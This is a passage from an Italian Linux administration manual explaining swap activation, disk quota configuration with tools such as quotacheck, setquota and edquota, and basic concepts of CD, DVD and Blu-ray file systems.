- # **swapon -a** [*Invio*]

  Avvia la gestione della memoria virtuale con tutte le partizioni e i file indicati per questo scopo nella configurazione di '/etc/fstab'.

- # **swapoff /dev/sda3** [*Invio*]

  Termina la gestione della memoria virtuale con la partizione '/dev/sda3'.

- # **swapoff /swap1** [*Invio*]

  Termina la gestione della memoria virtuale con il file '/swap1'.

- # **swapoff -a** [*Invio*]

  Termina la gestione della memoria virtuale con tutte le partizioni indicate così nel file '/etc/fstab'.

21.5.3.2 Gestione automatica attraverso il file «/etc/fstab»

Per quanto riguarda la gestione della memoria virtuale, il file '/etc/fstab' permette di definire quali partizioni e file debbano essere utilizzati automaticamente per questo scopo. La configurazione di '/etc/fstab' per la gestione della memoria virtuale è praticamente obbligatoria, a meno di provvedere ogni volta alla sua attivazione e disattivazione attraverso l'uso diretto di '**swapon**' e '**swapoff**'.

L'esempio seguente mostra due record ipotetici di '/etc/fstab' per l'attivazione della partizione '/dev/sda3' e del file '/swap1':

```
# nome          collegamento  Tipo    Opzioni
/dev/sda3       none          swap    sw
/swap1          none          swap    sw
```

21.5.3.3 Procedura di inizializzazione del sistema

Durante l'esecuzione della procedura di inizializzazione del sistema, si distinguono due fasi per l'attivazione delle aree di scambio della memoria: prima dell'attivazione dei file system vengono attivate le partizioni di scambio; dopo, anche i file di scambio.

Nel file '/etc/fstab' non si riesce a distinguere quali siano le partizioni e quali i file, per cui è necessario un trucco molto semplice. Nella prima fase viene eseguito '**swapon**' con l'opzione '**-a**': si possono così attivate solo le partizioni di scambio, perché l'unico file system in funzione dovrebbe essere quello principale che inizialmente è in sola lettura. In pratica, '**swapon**' tenta di attivare anche i file, ma senza riuscirci.

Nella seconda fase, quando i file system sono in funzione, viene eseguito nuovamente '**swapon**', ma questa volta le partizioni già attivate non possono essere attivate nuovamente, mentre i file di scambio vengono trovati e attivati.

```
echo "attivazione delle partizioni di swap"
swapon -a
…
echo "attivazione dei file di swap"
swapon -a 2>&1 | grep -v "busy"
```

In presenza di file di scambio, l'arresto del sistema deve avvenire nel modo corretto: prima si devono disattivare i file di scambio, quindi si può eseguire il distacco dei file system (riportando quello principale in sola lettura) e infine si possono disattivare le partizioni di scambio.

In pratica, spesso si disattiva subito tutta la gestione della memoria virtuale, ma questo rende problematica la conclusione delle operazioni su sistemi dotati di poca memoria. Anche sotto questo aspetto, è sempre consigliabile di evitare l'utilizzo di file di scambio.

21.6 Controllo delle «quote» nei sistemi GNU/Linux

Generalmente, l'utilizzo dello spazio nel file system non è controllato, per cui gli utenti possono utilizzare teoricamente quanto spazio vogliono in modo indiscriminato. Per controllare l'utilizzo dello spazio nel file system si può attivare la gestione delle ***quote***, cioè un sistema di registrazione dello spazio utilizzato in base all'appartenenza dei file a un utente o a un gruppo particolare. La gestione delle quote non si limita a questo: può impedire di fatto la creazione di file che superano lo spazio consentito.

Il controllo avviene a livello di partizione, per cui occorre stabilire per ognuna di queste le quote di spazio utilizzabili. Generalmente, il problema di controllare le quote riguarda un numero ristretto di partizioni, precisamente quelle in cui gli utenti hanno la possibilità di accedere in scrittura.

Il kernel Linux è in grado di gestire le quote di utilizzo delle partizioni, solo per alcuni tipi di file system; in particolare ciò è assicurato con quelli di tipo Second-extended (Ext2, Ext3 e Ext4). Inoltre, va considerato che il kernel Linux **non è in grado di intervenire direttamente nel file system innestato nella radice, a meno di reinnestarlo in una directory successiva**.[35]

Premesso che il kernel Linux deve essere stato compilato abilitando la gestione delle quote (la voce *`Quota support`* del menù *`File systems`*, come si può vedere nella sezione 8.3.21), nei sistemi GNU/Linux la gestione delle quote viene controllata attraverso dei programmi di servizio specifici.[36]

21.6.1 Quota utente e quota di gruppo

Il controllo della quota può avvenire a livello di singolo utente, di gruppo o di entrambe le cose. In pratica, un file può essere aggiunto se la quota utente riferita all'UID del file lo consente e, nello stesso modo, se la quota di gruppo riferita al GID del file non viene superata.

Il tracciamento e il controllo dei livelli di quota utente e di gruppo possono essere attivati indipendentemente l'uno dall'altro. In queste sezioni viene mostrato come attivare entrambi i tipi di quota, ma in pratica, se si usano i gruppi privati,[37] è più probabile che si sia interessati esclusivamente al controllo per utente.

21.6.2 Configurazione con il file «/etc/fstab»

La gestione delle quote delle partizioni deve essere attivata espressamente nel momento dell'innesto del file system relativo. Per questo si preferisce intervenire nella configurazione contenuta nel file '`/etc/fstab`', in modo da facilitare la cosa. Nella colonna delle opzioni si possono aggiungere due parole chiave: '**`usrquota`**' e '**`grpquota`**'. La prima serve per attivare il controllo delle quote riferite agli utenti e la seconda per il controllo riferito ai gruppi. Le due cose sono indipendenti.

L'esempio seguente mostra in che modo attivare entrambi i controlli nella partizione '/dev/sda3', contenente le directory personali degli utenti:

```
# nome          Innesto       Tipo      Opzioni                        Dmp Chk

/dev/sda2       /             ext4      defaults                        0   1
/dev/sda3       /home         ext4      defaults,usrquota,grpquota      0   1
proc            /proc         proc      defaults                        0   0
/dev/sda4       none          swap      sw
/dev/cdrom      /mnt/cdrom    iso9660   ro,user,noauto                  0   0
```

Nell'esempio successivo, le directory personali degli utenti sono incluse nell'unica partizione che viene innestata a partire dalla radice ('/dev/sda2'), pertanto, per garantire che le quote vengano considerate, occorre un piccolo raggiro, costituito dal reinnesto della stessa partizione in una sottodirectory:

```
# nome          Innesto       Tipo      Opzioni                        Dmp Chk

/dev/sda2       /             ext4      defaults,usrquota,grpquota      0   1
/dev/sda2       /.quota       ext4      defaults,usrquota,grpquota      0   0
proc            /proc         proc      defaults                        0   0
/dev/sda4       none          swap      sw
/dev/cdrom      /mnt/cdrom    iso9660   ro,user,noauto                  0   0
```

Naturalmente, il punto di innesto, costituito in questo caso dalla directory '/.quota/', è arbitrario e può collocarsi in qualunque altra posizione.

Per poter utilizzare la gestione delle quote di utilizzo della memoria di massa, è necessario che le opzioni '**usrquota**' o '**grpquota**' (o entrambe) siano attive; ovvero, non è sufficiente che siano appena state annotate nel file '/etc/fstab'. Pertanto, quando si modifica il file '/etc/fstab', per renderle operative, occorre reinnestare le unità. Per esempio:

mount -o remount /home [*Invio*]

21.6.3 Registrazione delle quote e attivazione del controllo

I livelli di quota dei vari utenti e dei gruppi sono contenuti in due file: 'quota.user' e 'quota.group', oppure 'aquota.user' e 'aquota.group'. Questi devono essere collocati nella directory principale della partizione da controllare e richiedono solo i permessi di lettura e scrittura per l'utente '**root**'. Normalmente, non è necessario creare tali file, perché a questo provvede automaticamente il programma '**quotacheck**' quando viene avviato con l'opzione '**-c**' (ovvero '**--create-files**').

Prima che il sistema di controllo delle quote possa funzionare, occorre effettuare una scansione della partizione interessata, in modo da raccogliere tutte le informazioni necessarie sull'utilizzo dello spazio dal punto di vista degli utenti e dei gruppi. I file utilizzati per contenere queste informazioni cambiano nome a seconda della versione del formato di questi: la versione più recente (quota versione 2) ha i nomi 'aquota.user' e 'aquota.group', mentre la versione più vecchia (quota versione 1) ha i nomi 'quota.user' e 'quota.group'. La scelta di un formato rispetto all'altro, dipende soprattutto dalla capacità del kernel.

La scansione si esegue con il programma '**`quotacheck`**' e per sicurezza andrebbe ripetuta la sua esecuzione ogni volta che si avvia il sistema, oppure giornalmente, quando il sistema resta in funzione a lungo (per più giorni). La prima volta, o comunque quando si vuole ripartire da zero, si può usare il comando seguente, dove appare in particolare l'opzione '**`-c`**', già menzionata:

`#` **`quotacheck -a -v -u -g -c`** [*Invio*]

Tuttavia, se le partizioni per cui si devono calcolare le quote di utilizzo devono rimanere accessibili anche in scrittura, va aggiunta l'opzione '**`-m`**' (ovvero '**`--no-remount`**'). Logicamente, il fatto che durante la scansione di controllo sia ammessa la scrittura, rende inattendibile il risultato della scansione:

`#` **`quotacheck -a -v -u -g -c -m`** [*Invio*]

L'opzione '**`-a`**' richiede la scansione di tutte le partizioni che sono state indicate nel file '`/etc/fstab`' come soggette a controllo delle quote. Le opzioni '**`-u`**' e '**`-g`**' richiedono espressamente che la scansione si prenda cura sia dell'utilizzo in base all'utente, sia in base al gruppo.

Quando si utilizza '`quotacheck`' per aggiornare le informazioni sull'utilizzo dello spazio nella memoria di massa, non si usa più l'opzione '`-c`'.

Ogni volta che si innesta una partizione che è soggetta a controllo delle quote, è poi necessario attivare il controllo attraverso il programma '**`quotaon`**'. Per esempio, '**`quotaon /dev/hda3`**' attiva il controllo sulla partizione indicata. Tuttavia, generalmente si fa questo all'avvio del sistema, per attivare il controllo su tutte le partizioni specificate per questo nel solito file '`/etc/fstab`'. In pratica con il comando seguente:

`#` **`quotaon -a -v -u -g`** [*Invio*]

Anche in questo caso, le opzioni '**`-u`**' e '**`-g`**' indicano che si vuole espressamente il controllo dell'utilizzo in base all'utente e in base al gruppo, mentre l'opzione '**`-a`**' indica di attivare la funzione per tutte le voci annotate così nel file '`/etc/fstab`'.

A questo punto, conviene preoccuparsi di fare in modo che la procedura di inizializzazione del sistema sia in grado ogni volta di avviare la gestione delle quote. Se la propria distribuzione GNU/Linux non fornisce degli script già pronti, si possono aggiungere al file '`/etc/rc.local`' (o simile) le istruzioni necessarie, come nell'esempio seguente:

```
if /sbin/quotacheck -avug
then
    echo "Scansione delle quote eseguita."
fi

if /sbin/quotaon -avug
then
    echo "Attivazione del controllo delle quote eseguita."
fi
```

Nel caso della distribuzione GNU/Linux Debian, è disponibile lo script '`/etc/init.d/quota`', per avviare e fermare la gestione delle quote:

```
/etc/init.d/quota start|stop
```

Questo script si occupa sia di ripetere la scansione periodica con '**quotacheck**', sia di usare '**quotaon**' e '**quotaoff**' nel modo più appropriato.

21.6.4 Quote relative a file system condivisi attraverso la rete

È importante chiarire che la gestione delle quote di utilizzo della memoria di massa riguarda generalmente le unità locali; in tal caso non è possibile controllare un file system innestato attraverso un protocollo di rete, in quanto il controllo deve avvenire presso l'elaboratore che offre questo servizio.

In mancanza di accorgimenti particolari, l'utente che utilizza un file system di rete, per il quale subisce un controllo della «quota», si può trovare a un certo punto a non potere più salvare i propri dati, così come può scoprire che alcuni file sono stati rimossi misteriosamente (una volta che il tempo di grazia è stato superato, dopo lo sforamento dalla quota stabilita). Tuttavia esiste la possibilità di attivare un servizio di rete per la comunicazione di tali informazioni, attraverso il demone '**rpc.rquotad**', in modo da avviare l'utente in tempo.

In generale, una distribuzione GNU/Linux ben organizzata, installa correttamente il demone necessario al passaggio di tali informazioni, quando il file system di rete è condiviso con il protocollo NFS; tuttavia, in altre condizioni, tale notifica può venire ugualmente a mancare.

21.6.5 Utilizzo di «quotacheck»

Il programma '**quotacheck**' esegue una scansione di una o più partizioni, allo scopo di aggiornare i file di registrazione delle quote: '`quota.user`' e '`quota.group`', oppure '`aquota.user`' e '`aquota.group`'.

```
quotacheck [opzioni] [{partizione|punto_di_innesto}...]
```

La prima volta che si vuole attivare la gestione delle quote in una certa unità di memorizzazione, va usato con l'opzione '**-c**', per creare il file '`*quota.user`' o '`*quota.group`' (o entrambi); successivamente conviene usare questo programma ogni volta che si innestano delle partizioni soggette al controllo delle quote di utilizzo (ma senza l'opzione '**-c**'). In generale, uno script della procedura di avvio del sistema dovrebbe provvedere all'uso corretto di '**quotacheck**' per le partizioni innestate automaticamente.

Tabella 21.87. Alcune opzioni.

Opzione	Descrizione
`-u` `--user`	Richiede una scansione per le quote di utilizzo riferite agli utenti. Questa è l'azione predefinita.
`-g` `--group`	Richiede una scansione per le quote di utilizzo riferite ai gruppi.

Opzione	Descrizione
`-a` `--all`	Scandisce tutte le partizioni indicate nel file '`/etc/fstab`' come soggette a tale controllo.
`-R` `--exclude-root`	Questa opzione viene usata in congiunzione con '**`-a`**' e specifica di eseguire il controllo di tutte le partizioni indicate nel file '`/etc/fstab`', a esclusione di quella principale.
`-m` `--no-remount`	Esegue la scansione senza preoccuparsi se il file system relativo è innestato anche in scrittura.
`-c` `--create-files`	Ricrea i file da zero, senza tenere conto del loro contenuto precedente.

Segue la descrizione di alcuni esempi.

- `#` **`quotacheck /dev/sdb2`** [*Invio*]

  Esegue la scansione dell'utilizzo degli utenti della partizione '`/dev/sdb2`', che deve essere già stata innestata e deve risultare dal contenuto del file '`/etc/fstab`'. In tal caso, può funzionare solo se in questo file è stata specificata l'opzione '**`usrquota`**' in fase di innesto del file system.

- `#` **`quotacheck /mnt/disco2`** [*Invio*]

  Esegue la scansione dell'utilizzo degli utenti della partizione che, da quanto si determina dal file '`/etc/fstab`', si colloca a partire dalla directory '`/mnt/disco2`'. Per tutte le altre considerazioni, vale quanto descritto nell'esempio precedente.

- `#` **`quotacheck -avug`** [*Invio*]

  Questo corrisponde all'utilizzo normale del programma, per scandire tutte le partizioni innestate e registrate nel file '`/etc/fstab`' come soggette al controllo delle quote, sia degli utenti, sia dei gruppi.

- `#` **`quotacheck -avugm`** [*Invio*]

  Come nell'esempio precedente, senza preoccuparsi se i file system sono accessibili anche in scrittura durante la scansione.

- `#` **`quotacheck -avugmc`** [*Invio*]

  Come nell'esempio precedente, rifacendo da zero i file.

21.6.6 Utilizzo di «quotaon» e «quotaoff»

Il programma '**quotaon**' attiva la gestione delle quote da parte del kernel. Non si tratta quindi di un demone, ma di un programma che termina subito di funzionare.

```
quotaon [opzioni] [{partizione|punto_di_innesto}...]
```

Perché si possa attivare questa gestione, è necessario che i file '*quota.user' e '*quota.group' siano presenti nella directory principale delle partizioni per le quali si vuole la gestione delle quote.

Il programma '**quotaoff**' disattiva la gestione delle quote da parte del kernel. Le opzioni e la sintassi sono le stesse di '**quotaon**'.

```
quotaoff [opzioni] [{partizione|punto_di_innesto}...]
```

Tabella 21.88. Alcune opzioni.

Opzione	Descrizione
`-u` `--user`	Interviene nella gestione delle quote utente. Questa è l'azione predefinita.
`-g` `--group`	Interviene nella gestione delle quote dei gruppi.
`-a`	Fa riferimento al contenuto del file '/etc/fstab', relativamente alle unità innestate automaticamente.
`-F {vfsold|vfsv0|rpc|xfs}`	Consente di specificare il formato con cui sono state accumulate le informazioni sulle quote.

Segue la descrizione di alcuni esempi.

- `# quotaon /dev/sdb2` [*Invio*]

  Attiva la gestione delle quote utente nella partizione '/dev/sdb2', la quale deve essere già stata innestata e deve risultare dal contenuto del file '/etc/fstab'. In tal caso, può funzionare solo se in questo file è stata specificata l'opzione '**usrquota**' in fase di innesto del file system.

- `# quotaon /mnt/disco2` [*Invio*]

  Attiva la gestione delle quote utente nella partizione che, da quanto si determina dal file '/etc/fstab', si colloca a partire dalla directory '/mnt/disco2'. Per tutte le altre considerazioni, vale quanto descritto nell'esempio precedente.

- `# quotaon -avug` [*Invio*]

  Questo corrisponde all'utilizzo normale del programma, per attivare la gestione delle

quote in tutte le partizioni innestate e registrate nel file '`/etc/fstab`' come soggette al controllo delle quote, sia degli utenti, sia dei gruppi.

21.6.7 Assegnazione e verifica delle quote

Le quote che si possono assegnare agli utenti e ai gruppi sono composte dell'indicazione di diversi dati. Lo spazio concesso viene espresso attraverso il numero di blocchi (unità di 1 024 byte) e viene definito ***limite logico*** (*soft*) perché viene tollerato un leggero sconfinamento per tempi brevi. A fianco del limite logico si può stabilire un limite di sicurezza, o ***limite fisico*** (*hard*), che non può essere superato in alcun caso. Oltre ai limiti sui blocchi di byte, si stabiliscono normalmente dei limiti di utilizzo di inode, in pratica, il numero massimo di file e directory. Dal momento che si ha a che fare con file system Second-extended (Ext2, Ext3 o Ext4) che normalmente possono avere un inode ogni 4 Kibyte, si può stabilire facilmente un calcolo di corrispondenza tra blocchi di dati e quantità di inode.

Quando viene fissato il limite fisico, soprattutto quando questo è superiore al limite logico, si intende consentire implicitamente lo sconfinamento del limite di utilizzo. In tal caso è necessario stabilire il tempo massimo per cui ciò è concesso. Generalmente, se non viene definito diversamente, si tratta di una settimana.

Le quote vengono assegnate o modificate attraverso i programmi '**`setquota`**' e '**`edquota`**'; la verifica dei livelli può essere fatta dall'utente '**`root`**' con '**`repquota`**' e ogni utente può controllare ciò che lo riguarda attraverso il comando '**`quota`**'. Con '**`setquota`**' si utilizzano gli argomenti della riga di comando per definire i valori delle quote, mentre con '**`edquota`**' si modificano le quote attraverso un programma per la gestione di file di testo: in pratica viene creato un file temporaneo e il suo contenuto viene quindi interpretato per modificare le quote. L'esempio seguente mostra l'uso di '**`setquota`**' per assegnare all'utente '**`tizio`**' una quota di 10 Mibyte, con una tolleranza del 10 % (11 Mibyte il limite fisico):

`#` **`setquota -u tizio 11264 10240 0 0 -a`** [*Invio*]

`#` **`quota -u tizio`** [*Invio*]

```
Disk quotas for user tizio (uid 1005):
     Filesystem  blocks   quota   limit   grace   files   quota   limit   grace
      /dev/sda2     292   11264   10240              97       0       0
```

La modifica delle quote dei gruppi avviene nello stesso modo, usando l'opzione '**`-g`**' al posto di '**`-u`**'. A fianco di questi livelli di spazio utilizzabili, c'è il problema di fissare il tempo massimo di sconfinamento (tempo di grazia) che può essere deciso solo a livello globale della partizione.

`#` **`setquota -t 2592000 2592000 -a`** [*Invio*]

In questo caso, il tempo di sconfinamento è di 30 giorni, pari a 2592000 s. Il valore appare ripetuto per due volte, perché nel primo caso riguarda lo sconfinamento nella quantità di spazio usato, mentre nel secondo si riferisce allo sconfinamento in quantità di inode (numero di file).

L'utente '**`root`**' può avere un quadro completo della situazione con '**`repquota`**', il quale genera una tabella delle varie quote. La colonna '**`grace`**' serve per annotare eventuali sconfinamenti e riporta il tempo consentito rimanente.

`#` **`repquota -u -a`** [*Invio*]

```
                        Block limits                File limits
User              used     soft     hard   grace     used   soft   hard   grace
…
tizio     +-    10500    10240    11264  30days    1123   2560   2816
caio      --        1        0        0               1      0      0
```

Nell'esempio appare solo una parte del listato che si ottiene generalmente. Viene mostrato il caso di due utenti: '**caio**' non ha alcuna limitazione di utilizzo e le sue quote sono azzerate per questo; '**tizio**' invece ha superato un po' il valore del limite logico per l'utilizzo di blocchi. Pertanto, nella colonna '**grace**' appare quanto tempo gli resta per provvedere da solo (quando anche questo tempo scade, vi provvede il sistema).

Infine, il singolo utente può verificare la propria situazione con il programma '**quota**'.

tizio@:~$ **quota** [*Invio*]

```
Disk quotas for user tizio (uid 502):
     Filesystem  blocks    quota    limit    grace    files    quota    limit    grace
      /dev/sda2  10500*   10240    11264    6days     1123     2560     2816
```

Anche in questo caso, si può osservare che l'utente ha superato il limite di spazio concesso, pur senza superare il limite massimo di inode disponibili.

21.6.8 Utilizzo di «setquota»

Il programma '**setquota**' permette di assegnare i livelli delle quote agli utenti, attraverso quanto viene indicato con gli argomenti della riga di comando. I modelli successivi sono semplificati:

setquota -u ***nome*** ***quota_dati*** ***limite_dati*** ↩
↪ ***quota_inode*** ***limite_inode*** {-a | ***dispositivo***}

setquota -g ***nome*** ***quota_dati*** ***limite_dati*** ↩
↪ ***quota_inode*** ***limite_inode*** {-a | ***dispositivo***}

setquota -t ***tempo_per_sconfinamento_dati*** ***tempo_per_sconfinamento_inode*** ↩
↪ {-a | ***dispositivo***}

Nella parte finale della riga di comando si specifica per quali unità di memorizzazione intervenire, indicando precisamente un file di dispositivo oppure l'opzione '**-a**' (per fare riferimento a tutti quelli previsti nel file '/etc/fstab').

Quando si usa '**setquota**' secondo i primi due modelli proposti, si vanno a specificare i livelli di quota dell'utente o del gruppo indicato, attraverso quattro valori che rappresentano rispettivamente: la quota dati espressa in multipli di 1024 byte, il limite assoluto espresso

sempre in multipli di 1024 byte, la quota di quantità di file; il limite assoluto di quantità di file. Va osservato che un valore pari a zero esprime l'assenza di un limite.

Quando appare l'opzione '**-t**', si fissa il tempo di grazia, ovvero il tempo, espresso in secondi, che viene lasciato all'utente per ritornare ai livelli di utilizzo stabilito dalla propria quota, prima che vi provveda automaticamente il sistema operativo. Questo valore è associato all'unità di memorizzazione ed è unico per tutti gli utenti o per tutti i gruppi.

Segue la descrizione di alcuni esempi.

- `#` **`setquota -u tizio 112640 102400 0 0 -a`** [*Invio*]

  Assegna all'utente '**tizio**', per tutte le unità previste nel file '`/etc/fstab`' con il controllo delle quote per gli utenti, la disponibilità di 100 Mibyte (102400 Kibyte), con la possibilità di arrivare fino a 110 Mibyte per un breve lasso di tempo.

  In questo caso non vengono presi in considerazione i limiti nella quantità di file che possono essere creati.

- `#` **`setquota -u tizio 112640 102400 28160 25600 -a`** [*Invio*]

  Come nell'esempio precedente, specificando che l'utente può gestire fino a 25600 file, con la possibilità di arrivare fino a 29160 file per tempi brevi.

- `#` **`setquota -t 1296000 1296000 -a`** [*Invio*]

  Fissa un tempo di grazia di 15 giorni (pari a 1296000 s), sia per lo sconfinamento nella dimensione dei dati, sia per quello che riguarda la quantità di file.

21.6.9 Utilizzo di «edquota»

Il programma '**edquota**' permette di assegnare e modificare i livelli delle quote agli utenti, attraverso l'uso di un programma per la creazione e modifica dei testi, precisamente si tratta di VI o di quanto specificato nella variabile di ambiente ***EDITOR***.

```
edquota [opzioni] [utente...]
```

La modifica delle quote può avvenire solo dopo che sono stati predisposti i file '`quota.user`' e '`quota.group`', ovvero '`aquota.user`' e '`aquota.group`'.

Tabella 21.92. Alcune opzioni.

Opzione	Descrizione
`-u`	Modifica le quote utente. È l'azione predefinita se non vengono specificate altre opzioni.
`-g`	Modifica le quote dei gruppi.
`-p` ***utente_prototipo***	Duplica le quote dell'utente, specificato come argomento dell'opzione, per tutti gli utenti indicati nella parte finale della riga di comando.
`-t`	Permette di modificare il tempo massimo di sconfinamento del limite logico, fermo restando il limite fisico che non può essere superato in ogni caso.

Segue la descrizione di alcuni esempi.

- # **edquota -u tizio** [*Invio*]

  Modifica i livelli di quota dell'utente '**tizio**'.

- # **edquota -g utenti** [*Invio*]

  Modifica i livelli di quota del gruppo '**utenti**'.

- # **edquota -u -p tizio caio sempronio** [*Invio*]

  Attribuisce agli utenti '**caio**' e '**sempronio**' gli stessi livelli di quota di '**tizio**'.

21.6.10 Utilizzo di «repquota»

Il programma '**repquota**' emette una tabella riepilogativa dell'utilizzo delle quote delle partizioni specificate.

```
repquota [opzioni] [{partizione|punto_di_innesto}...]
```

Tabella 21.93. Alcune opzioni.

Opzione	Descrizione
`-u`	Elenca la situazione delle quote riferite agli utenti. È l'azione predefinita se non vengono specificate altre opzioni.
`-g`	Elenca la situazione delle quote riferite ai gruppi.
`-a`	Elenca le quote di tutte le partizioni per cui ciò è previsto attraverso le indicazioni del file '`/etc/fstab`'.

Segue la descrizione di alcuni esempi.

- # **repquota -a** [*Invio*]

  Elenca la situazione delle quote riferite agli utenti (predefinito) per tutte le partizioni in cui ciò è stato attivato, in base alle indicazioni del file '`/etc/fstab`'.

- # **repquota -g -a** [*Invio*]

  Elenca la situazione delle quote riferite ai gruppi per tutte le partizioni in cui ciò è stato attivato, in base alle indicazioni del file '`/etc/fstab`'.

  # **repquota /dev/sda3** [*Invio*]

  Elenca la situazione delle quote riferite agli utenti (predefinito) per la partizione '`/dev/sda3`' (in uso).

21.6.11 Utilizzo di «quota»

Il programma '**quota**' permette agli utenti di controllare il proprio livello di quota. Effettua l'analisi su tutte le partizioni annotate per questo nel file '/etc/fstab'. Solo all'utente '**root**' è concesso di utilizzare questo programma per controllare la quota di un altro utente.

```
quota [opzioni]
```

Il programma '**quota**' restituisce un valore diverso da zero se almeno uno dei valori restituiti rappresenta uno sconfinamento dalla quota.

Tabella 21.94. Alcune opzioni.

Opzione	Descrizione
-u [*utente*]	Restituisce le quote riferite all'utente. È l'azione predefinita se non vengono specificate altre opzioni. Solo l'utente '**root**' può utilizzare l'argomento aggiuntivo per controllare i livelli di un utente particolare.
-g [*gruppo*]	Restituisce le quote riferite al gruppo. L'utente può interrogare le quote riferite a gruppi a cui appartiene.

Segue la descrizione di alcuni esempi.

- $ **quota** [*Invio*]

  L'utente visualizza i propri livelli di quota.

- $ **quota -g lavoro1** [*Invio*]

  L'utente visualizza i propri livelli di quota per il gruppo '**lavoro1**' a cui appartiene.

- # **quota -u tizio** [*Invio*]

  L'utente '**root**' visualizza i livelli di quota per l'utente '**tizio**'.

21.7 Dischi ottici: file system

Per «disco ottico» si vuole intendere genericamente ciò che può essere un CD, DVD o BD (*Blu-ray disc*), usato per contenere dati con l'ausilio di un file system tradizionale.[38] Questo tipo di unità di memorizzazione ha la caratteristica di utilizzare un'unica traccia a spirale che inizia dalla parte centrale e si espande verso l'esterno, consentendo così di realizzare anche supporti di capacità minore di quella standard, usando un diametro minore.

La memorizzazione dei dati in un disco ottico può avvenire solo sequenzialmente, mentre per la lettura si accede direttamente ai dati desiderati. Per questo motivo, l'uso più semplice di un disco ottico prevede una sola fase di scrittura, di tutto il file system con il suo contenuto di file e directory. Tuttavia, esiste anche la possibilità di continuare a scrivere su un disco che non ha esaurito lo spazio a disposizione; in tal caso, con un file system appropriato, si può avere la sensazione di usare un disco ottico, come se fosse un'unità di memorizzazione comune, dove però i file che si cancellano non portano a un recupero dei dati e quelli che si modificano, occupano nuovo spazio.

Le possibilità dei dischi ottici sono molte, ma difficilmente i sistemi operativi recepiscono tutti gli standard e tutte le estensioni; pertanto, per memorizzare dati nei dischi ottici in modo «compatibile», è bene essere prudenti e non cercare di pretendere da questo tipo di supporto ciò per cui non è proprio adatto. Anche per questo motivo, qui si considera la scrittura di una sola traccia, in una sola sessione, in una sola fase; inoltre non viene trattato il caso particolare dei DVD-RAM.

Partendo dal presupposto di voler usare i dischi ottici con una sola fase di scrittura, per una sola traccia e sessione, potrebbe essere utilizzato qualunque tipo di file system. Ma per la massima compatibilità va scelto il formato ISO 9660, purché non ci siano file di dimensione maggiore di 4 Gibyte, oppure il formato UDF (*Universal disc format*), ovvero ISO 13346, dove i file possono avere dimensioni maggiori.

21.7.1 Caratteristiche di massima di un CD

Il CD è oggi un supporto di memorizzazione pensato per scopi diversi, ma nato per sostituire i dischi audio analogici di vinile. La sua origine specifica ha poi portato a un'evoluzione piuttosto complessa per consentirne l'impiego in altri settori.

Si può immaginare il contenuto di un CD come qualcosa che è suddiviso in ***sessioni***, le quali a loro volta si suddividono in tracce. Ogni traccia può avere una destinazione differente; per esempio può trattarsi di un brano musicale, di un file system, o un altro tipo di informazione.

In condizioni normali, un CD-ROM si compone di una sola sessione, contenente una sola traccia dati (un file system), mentre un CD musicale si compone di una sola sessione contenente diverse tracce, una per ogni brano musicale.

Ogni sessione contiene un indice generale, noto con la sigla TOC (*Table of contents*), collocato alla fine delle tracce, il quale permette di raggiungere l'inizio delle tracce attraverso un accesso diretto. Si fa riferimento alla creazione di questo indice con il termine *finalization*, oppure *fixation*.

L'ultima sessione di un CD può essere aperta o chiusa. Una sessione che rimane aperta consente l'aggiunta di una sessione ulteriore, mentre una sessione chiusa non permette di aggiungerne altre.

La registrazione di un CD può avvenire in fasi successive. Teoricamente è possibile definire una sessione e inserirvi una traccia alla volta, mettendo l'indice TOC solo alla fine. Una volta completata la sessione con l'indice, se questa rimane aperta, è possibile aggiungerne altre.

Dopo questa descrizione schematica è necessario comprendere che le sessioni non sono degli scompartimenti stagni, ma rappresentano delle fasi successive nella registrazione di un CD. Teoricamente, le varie sessioni devono risultare concatenate fra loro, in modo tale che la lettura dell'indice TOC finale consenta di conoscere la collocazione di tutte le tracce presenti. In questo senso va considerato anche il fatto che la sequenza di numerazione delle tracce è unica in tutto il CD e non viene azzerata all'inizio di sessioni successive. Pertanto, alla fine, il CD dovrebbe apparire scomposto in tracce e la presenza delle sessioni non dovrebbe modificare l'apparenza del contenuto. Naturalmente, questa è la teoria; in pratica gli apparecchi usati per leggere i CD devono essere in grado di riconoscere le sessioni, altrimenti le informazioni successive alla prima sessione di registrazione diventano inaccessibili. In questo senso è sempre bene evitare di realizzare CD contenenti più di una sessione.

21.7.2 Caratteristiche di massima di un DVD

Il DVD nasce come un tipo particolare di CD in grado di memorizzare molti più dati (intorno ai 4700000000 byte, ovvero 4,3 Gibyte), dal quale si sono sviluppate diverse varianti. Nelle situazioni più comuni si distinguono DVD–R (o DVD–RW) dai DVD+R (o DVD+RW). Il primo tipo (DVD–R o DVD–RW) è quello che ha caratteristiche tecniche inferiori, perché per la scrittura richiede la stessa procedura da usare per un CD, ma è compatibile con la maggior parte dei lettori DVD; il secondo tipo (DVD+R o DVD+RW) è più evoluto ed è più facile la procedura di registrazione.

Come si può intendere intuitivamente, quando si fa riferimento a un DVD-ROM, si intende un DVD contenente una traccia dati (che non può essere modificata), così come avviene con i CD-ROM, senza fare distinzioni sulla tecnologia usata nella realizzazione del disco («–» o «+» che sia).

21.7.3 Caratteristiche di massima di un BD

I dischi ottici BD, ovvero Blu-ray disc, hanno una capacità di 25000000000 byte, pari a circa 23 Gibyte. Si distinguono dischi che possono essere scritti una volta sola, con la sigla BD-R, da quelli che consentono più riscritture, con la sigla BD-RE (*rewriteable*).

21.7.4 Creazione dell'immagine di un disco ottico

Creare l'immagine di un disco ottico significa predisporre un file in qualità di traccia dati di una sessione del disco che si vuole masterizzare. In generale si tratta di realizzare un file system ISO 9660, probabilmente con qualche estensione, oppure UDF, ma in tal caso senza estensioni.

21.7.4.1 Estensioni Rock Ridge

Il file system ISO 9660 è predisposto per gestire file con nomi aventi al massimo 32 caratteri, ma in pratica, per la massima compatibilità, questo limite viene abbassato ulteriormente, per consentire anche ai sistemi Dos degli anni 1990 di potervi accedere. Dal punto di vista dei sistemi Unix, ciò non costituisce solo un problema nella dimensione dei nomi, ma soprattutto nella mancanza di tutti gli altri attributi che può avere un file: i permessi e le proprietà.

I dischi ottici realizzati per gli ambienti Unix sono fatti generalmente utilizzando le estensioni Rock Ridge che alla fine permettono di memorizzare tutti quei dati mancanti, compresa la possibilità di gestire nomi più lunghi, con o senza punti. Quando questi dischi vengono letti in un sistema operativo che non è in grado di interpretare tali estensioni, si riescono a vedere solo nomi di file corti.

Il problema dei nomi deve essere tenuto in considerazione nella preparazione di dischi ottici. Se questi dischi sono destinati ad ambienti normali, Dos e derivati, occorre organizzare un sistema di nomi corti per essere certi che possano essere letti ovunque nello stesso modo.

